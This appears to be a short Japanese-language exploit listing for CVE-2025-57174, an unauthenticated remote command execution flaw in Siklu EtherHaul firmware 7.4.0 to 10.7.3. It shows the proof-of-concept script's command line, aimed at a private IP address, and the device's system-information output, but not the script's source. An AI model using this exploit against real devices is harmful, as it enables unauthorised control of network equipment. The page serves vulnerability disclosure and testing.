CVE-2025-57174 - Siklu EtherHaul Series - 認証不要のリモートコマンド実行

CVE-2025-57174 認証不要のリモートコマンド実行
影響を受けるバージョン: ファームウェア 7.4.0 - 10.7.3 (おそらく7.4.0以降のすべてのバージョン)

使用方法

python3 CVE-2025-57174.py 172.16.100.52 'simple-command show system' --nul --recv
Response: flag=0x00 msg=0x01 length=584
<end-code>ok</end-code><text>
system description               : EH-8010FX-L
system snmpid                    : .1.3.6.1.4.1.31926
system uptime                    : 0028:22:01:51
system contact                   : undefined
system name                      : EH-8010FX-L
system location                  : undefined
system voltage                   : poe (injector)
system temperature               : 47
system date                      : 2025.09.24
system time                      : 14:56:50
system cli-timeout               : 15
system loop-permission           : enabled
</text>

CVE-2025-57174

人気

CVE-2025-57174 - Siklu EtherHaul Series - 認証不要のリモートコマンド実行